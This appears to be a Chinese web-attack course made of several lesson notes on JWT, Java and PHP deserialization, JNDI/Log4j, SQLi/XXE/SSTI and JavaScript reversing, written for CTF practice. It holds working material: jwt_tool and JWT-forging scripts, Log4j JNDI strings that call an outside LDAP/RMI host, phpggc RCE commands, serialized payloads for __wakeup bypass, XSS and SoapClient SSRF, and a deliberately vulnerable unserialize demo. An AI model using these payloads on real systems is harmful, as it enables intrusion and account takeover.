0%

思维导图

41WEB攻防

知识点:

  • 84、Java安全-Druid监控-未授权访问&信息泄漏
  • 85、Java安全-Swagger接口-文档导入&联动批量测试
  • 86、Java安全-JWT令牌攻防-空算法&未签名&密匙提取

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….



Java安全-Druid监控-未授权访问&信息泄漏

参考:https://developer.aliyun.com/article/1260382
        Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
攻击点:
1、直接拼接URL路径,尝试能否直接未授权访问系统功能点。
2、结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。
3、利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台。

Java安全-Swagger接口-导入&联动批量测试

        Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。
1、自动化发包测试
Postman:https://github.com/hlmd/Postman-cn
2、自动化漏洞测试
联动BurpSuite Xray等

Java安全-JWT令牌-空算法&未签名&密匙获取

        JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。

JWT识别

  • 1、标头(Header)
    Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如”HS256”、”RS256”等,以及其他可选参数,如”kid”、”jku”、”x5u”等
    alg字段通常用于表示加密采用的算法。如”HS256”、”RS256”等
    typ字段通常用于表示类型
    还有一些其他可选参数,如”kid”、”jku”、”x5u”等

  • 2、有效载荷(Payload)
            Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
    iss:该字段表示jwt的签发者。
    sub:该jwt面向的用户。
    aud:jwt的接收方。
    exp:jwt的过期时间,通常来说是一个时间戳。
    iat:jwt的签发时间,常来说是一个时间戳。
    jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问

  • 3、签名(Signature)
    Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
    对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。
    同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。

第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来
使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT

在线解析:https://jwt.io/
BURP插件:Hae 或 JSON Web Tokens

JWT安全

  • 1、空加密算法(攻击头部不使用加密)
    签名算法可被修改为none,JWT支持将算法设定为”None”。如果”alg”字段设为”None”,那么签名会被置空,这样任何token都是有效的。

  • 2、未校验签名(攻击签名不使用签名认证)
    某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

  • 3、暴力破解密钥(攻击签名知道密钥实现重组)
    针对是对称加密算法(非对称没有用)
    非对称要使用方法:获取源码或者公钥私钥文件
    某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。

  • 4、其他安全参考:(源码泄漏密匙,Kid注入等)
    https://blog.csdn.net/weixin_44288604/article/details/128562796

JWT利用

利用项目:https://github.com/ticarpi/jwt_tool

  • Web345(None无签名认证)
  • Web346(None算法绕过签名)
  • Web347(弱口令密钥获取)
  • Web348(爆破密钥上题一样)
    使用None算法

python3 jwt_tool.py JWT_HERE -X a
自定义修改生成
python3 jwt_tool.py JWT_HERE -T
使用字典破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
指定密码测试
python3 jwt_tool.py JWT_HERE -C -p password_here

  • Web349(公钥私钥泄露)
    公钥私钥泄露,访问/private.key /public.key得到公钥密钥
    服务器私钥生成jwt,利用公钥解密jwt,只要有私钥重新生成
    1
    2
    3
    4
    import jwt
    public = open('private.key', 'r').read()
    payload={"user":"admin"}
    print(jwt.encode(payload, key=public, algorithm='RS256'))
  • Web350(密钥混淆攻击RS256=>HS256)
    将RS256算法改为HS256(非对称密码算法=>对称密码算法)
    HS256算法使用密钥为所有消息进行签名和验证。
    而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
    1
    2
    3
    4
    5
    6
    var jwt = require('jsonwebtoken');
    var fs = require('fs');

    var privateKey = fs.readFileSync('./public.key');
    var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
    console.log(token)

黑盒JWT测试

首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除Token后仍然可以正常响应对应页面
2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期
5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

思维导图

41WEB攻防

知识点:

  • 82、Java安全-原生反序列化-3大类接口函数&利用
  • 83、Java安全-SpringBoot攻防-泄漏安全&CVE安全

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

Java安全-反序列化-原生序列化类函数

        序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0AB,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。

黑盒发现(流量捕获)/白盒发现(特征类接口函数)

原生序列化类函数:

-SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
-XMLDecoder:xml语言格式序列化类函数接口
-ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口

利用项目:

-Yakit https://yaklang.com/
-https://github.com/frohoff/ysoserial
-https://github.com/NotSoSecure/SerializedPayloadGenerator
(基于-ObjectInputStream.readObject()的利用工具)

Java安全-SpringBoot框架-泄漏&CVE

        SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

检测清单:

https://github.com/LandGrey/SpringBootVulExploit

1.1黑盒发现(人工识别,BP插件)

https://github.com/API-Security/APIKit

1.2白盒发现(pom.xml,引用库)

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

Actuator设置全部暴露:
management.endpoints.web.exposure.include=*

2、泄漏安全(配置密码,AK/SK等)

https://github.com/whwlsfb/JDumpSpider
https://github.com/wyzxxz/heapdump_tool

3、漏洞安全(利用类,CVE漏洞等)

https://github.com/AabyssZG/SpringBoot-Scan
https://github.com/LandGrey/SpringBootVulExploit

思维导图

41WEB攻防

知识点:

  • 79、Java安全-RCE执行-5大类函数调用
  • 80、Java安全-JNDI注入-RMI&LDAP&高版本
  • 81、Java安全-不安全组件-Shiro&FastJson&JackJson&XStream&Log4j

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


Java安全-RCE执行-5大类函数调用

-Groovy
-RuntimeExec
-ProcessImpl
-ProcessBuilder
-ScriptEngineManager
检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量

Java安全-JNDI注入-RMI&LDAP&版本

什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI注入-RMI&LDAP服务&高版本

资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL
第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

        JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
        Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

1
2
3
4
5
6
javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
1
2
3
4
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:
无黑盒思路
白盒看类函数名和可控变量

Java安全-不安全组件-JSON&XML&验证&日志

Log4j:

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j

Shiro:

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

Jackson:

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

XStream:

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream

FastJson:

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson

黑盒测试不安全组件漏洞:

见后续章节漏洞复现利用课程

白盒审计不安全组件漏洞:

  • FastJson审计
    1、看引用组件版本及实现

JSON.parse() JSON.parseObject()
2、找可控变量及访问实现
admin/product propertyJson
3、测试出网回显调用访问

1
2
3
4
5
6
7
```
- Log4j审计
1、看引用组件版本及实现
```logger.info logger.error```
2、找可控变量及访问实现
```admin/uploadAdminHeadImage originalFileName```
3、测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}

- 不回显常见判断通用方法:  
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。  
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。  
3、接将命令执行结果回显到请求Poc的HTTP响应中。  
不回显常见判断细节方法:  
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw  

思维导图

41WEB攻防

知识点:

  • 75、Java安全-SQL注入-JDBC&MyBatis
  • 76、Java安全-XXE注入-Reader&Builder
  • 77、Java安全-SSTI模版-Thymeleaf&URL
  • 78、Java安全-SPEL表达式-SpringBoot框架

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

JAVA安全

https://github.com/bewhale/JavaSec
https://github.com/j3ers3/Hello-Java-Sec
https://mp.weixin.qq.com/s/ZO4tpz9ys6kCIryNhA5nYw

Java安全-SQL注入-JDBC&MyBatis

JDBC

  • 1、采用Statement方法拼接SQL语句
  • 2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
  • 3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
    安全写法:SQL语句占位符(?) + PrepareStatement预编译

MyBatis

        MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。

  • 1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
  • 2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%’从而造成注入.
  • 3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.

代码审计案例:inxedu后台MyBatis注入

Java安全-XXE注入-Reader&Builder

        XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
-XMLReader
-SAXReader
-SAXBuilder
-Unmarshaller
-DocumentBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 审计的函数
* 1. XMLReader
* 2. SAXReader
* 3. DocumentBuilder
* 4. XMLStreamReader
* 5. SAXBuilder
* 6. SAXParser
* 7. SAXSource
* 8. TransformerFactory
* 9. SAXTransformerFactory
* 10. SchemaFactory
* 11. Unmarshaller
* 12. XPathExpression
*/

Java安全-SSTI模版-Thymeleaf&URL

        SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

Java安全-SPEL表达式-SpringBoot框架

        SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。

思维导图

41WEB攻防

知识点:

  • 71、JavaScript安全-泄漏配置信息
  • 72、JavaScript安全-获取接口测试
  • 73、JavaScript安全-代码逻辑分析
  • 74、JavaScript安全-框架漏洞检测

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


JS安全

        在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞。
        JS开发应用和PHP,JAVA等区别在于即没源代码,也可通过浏览器查看源代码。
        获取URL,获取JS敏感信息,获取代码传参等,所以相当于JS开发的WEB应用属于白盒测试,一般会在JS中寻找更多URL地址,(加密算法,APIkey配置,验证逻辑,框架漏洞等)进行后期安全测试。

  • 1、会增加攻击面(URL、接口,分析调试代码逻辑)

  • 2、敏感信息(用户密码、ak/sk、token/session)

  • 3、潜在危险函数(eval、dangerallySetInnerHTML)

  • 4、开发框架类(寻找历史漏洞Vue、NodeJS、Angular等)

  • 打包器Webpack:PackerFuzzer
    AK/SK云安全利用:工具箱CF(云安全后续会讲更多)
    浏览器插件:Pentestkit FindSomething Wappalyzer(前期的JS收集项目)

思维导图

41WEB攻防

知识点:

  • 69、JavaScript-反调试&方法&绕过
  • 70、JavaScript-代码混淆&识别&还原

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


JS逆向-反调试-检测&绕过

程序加入反调试:

  • 1、反调试:
    实现防止他人调试、动态分析自己的代码
  • 2、检测调试方法:(见图)
    -键盘监听(F12)
    -检测浏览器的高度插值
    -检测开发者人员工具变量是否为true
    -利用console.log调用次数
    -利用代码运行的时间差
    –利用toString
    -检测非浏览器
  • 3、常见绕过方法:
    -禁用断点法
    -条件断点法
    -此处暂停法
    -置空函数法
    -本地覆盖法

JS逆向-混淆加密-识别&还原

  • 代码混淆加密:
            上述几种方法,已经达到了反调试的效果,但如果他人查看代码,也可能被找出检测功能并删去。为了防止反调试功能被剔除,我们可以对JS代码进行混淆加密。
  • 开源代码混淆解密
    JJEncode AAEncode JSFuck
    https://www.sojson.com/
  • 商业代码混淆解密
    https://www.jsjiami.com/
    https://jsdec.js.org/

思维导图

41WEB攻防

知识点:

  • 66、JavaScript-作用域&调用堆栈
  • 67、JavaScript-断点调试&全局搜索
  • 68、JavaScript-Burp算法模块使用

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

前置知识

  • 1、作用域:(本地&全局)
    简单来说就是运行后相关的数据值

  • 2、调用堆栈:(由下到上)
    简单来说就是代码的执行逻辑顺序

  • 3、常见分析调试:
    -代码全局搜索
    -文件流程断点
    -代码标签断点
    -XHR提交断点

  • 4、为什么要学这个?
    -针对JS开发应用
    -密码登录枚举爆破
    -参数提交漏洞检测
    -泄漏URL有更多测试

JS逆向-流程&全局搜索-登录算法

流程断点:审查元素抓网络请求包发起程序
全局搜索:通过抓包参数名进行代码全局搜索

JS逆向-标签&XHR断点-登录算法

标签断点:审查元素对应标签按钮加入断点
XHR断点:审查元素源代码加入XHR断点配置

JS逆向-结合BurpSuite-插件引用

  • 1、下载phantomjs并设置环境变量
    https://phantomjs.org/download.html

  • 2、BurpSuite加载jsEncrypter插件
    https://github.com/c0ny1/jsEncrypter/releases

  • 3、对逆向的加密算法提取JS文件及代码

    1
    2
    3
    4
    5
    6
    7
    JSEncrypt.js

    var r = new JSEncrypt,
    o = "xxxxxxxxx";
    r.setPublicKey(o);
    var s = r.encrypt(password)
    return s
  • 4、讲代码写入到模版中(引用JS和调用加密)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    var wasSuccessful = phantom.injectJs('JSEncrypt.js');

    function encrypt(password){
    var r = new JSEncrypt,
    o = "xxxxxxxxx";
    r.setPublicKey(o);
    var s = r.encrypt(password)
    return s
    }

    // 处理函数
    function js_encrypt(payload){
    var newpayload;
    /**********在这里编写调用加密函数进行加密的代码************/
    var newpayload=encrypt(payload)
    /**********************************************************/
    return newpayload;
    }
  • 5、运行刚写入的模版文件后插件连接测试

phantomjs xxxxx.js

  • 6、正常设置发包后选择引用插件选项

思维导图

41WEB攻防

知识点:

  • 63、PHP-反序列化-开发框架类项目
  • 64、PHP-反序列化-Payload生成项目
  • 65、PHP-反序列化-Payload生成综合项目

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

反序列化链项目-PHPGGC&NotSoSecure

NotSoSecure

https://github.com/NotSoSecure/SerializedPayloadGenerator
        为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生

PHPGGC

https://github.com/ambionics/phpggc
        PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。
        目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

反序列化框架利用-ThinkPHP&Yii&Laravel

[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

CTFSHOW 反序列化 267 Yii2反序列化
弱口令登录/源码提示泄漏

1
2
3
GET:index.php?r=site%2Fabout&view-source
GET:/index.php?r=backdoor/shell&code=
./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

CTFSHOW 反序列化 271 Laravel反序列化
./phpggc Laravel/RCE2 system "id" --url

Thinkphp 反序列化链分析

Thinkphp-All-vuln-main

思维导图

41WEB攻防

知识点:

  • 60、PHP-反序列化-属性类型&显示特征
  • 61、PHP-反序列化-CVE绕过&字符串逃逸
  • 62、PHP-反序列化-原生类生成&利用&配合

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….




PHP-属性类型-共有&私有&保护

1、对象变量属性:

public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用

2、序列化数据显示:

public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

1
2
3
4
5
6
7
8
9
10
11
12
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
public $name="xiaodi";
private $age="31";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

PHP-绕过漏洞-CVE&字符串逃逸

1、CVE-2016-7124(__wakeup绕过)

漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

Demo:见CVE.PHP与版本切换演示

案例:
[极客大挑战 2019]PHP
1、下载源码分析,触发flag条件
2、分析会触发调用__wakeup 强制username值
3、利用语言漏洞绕过 CVE-2016-7124
4、构造payload后 修改满足漏洞条件触发

1
2
Payload:
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

2、字符串逃逸(难理解)

字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php
案例——CTFSHOW-Web262(逃逸解法)

PHP-原生类Tips-获取&利用&配合

参考案例:https://www.anquanke.com/post/id/264823
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明

1、生成原生类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

2、本地Demo-xss

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
-输出对象可调用__toString
-无代码通过原生类Exception
-Exception使用查询编写利用
-通过访问触发输出产生XSS漏洞
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

3、CTFSHOW-259

-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag

1
2
3
4
5
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

思维导图

41WEB攻防

知识点:

  • 57、PHP-反序列化-应用&识别&函数
  • 58、PHP-反序列化-魔术方法&触发规则
  • 59、PHP-反序列化-联合漏洞&POP链构造

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….




1、什么是反序列化操作? - 类型转换

  • PHP & JavaEE & Python(见图)
    序列化:对象转换为数组或字符串等格式
    反序列化:将数组或字符串等格式转换成对象
    1
    2
    serialize()     //将对象转换成一个字符串  
    unserialize() //将字符串还原成一个对象

2、常见PHP魔术方法?- 对象逻辑(见图)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(查看魔术方法的下一行的代码;构造时,有用的留下,没用的删掉。)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

3、为什么会出现安全漏洞?

        原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

1
2
3
4
5
6
7
8
9
<?php
class B{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

4、反序列化漏洞如何利用?- POP链构造

        POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

-反序列化常见起点(见图)
-反序列化常见跳板(见图)
-反序列化常见终点(见图)

CTFSHOW-训练链构造

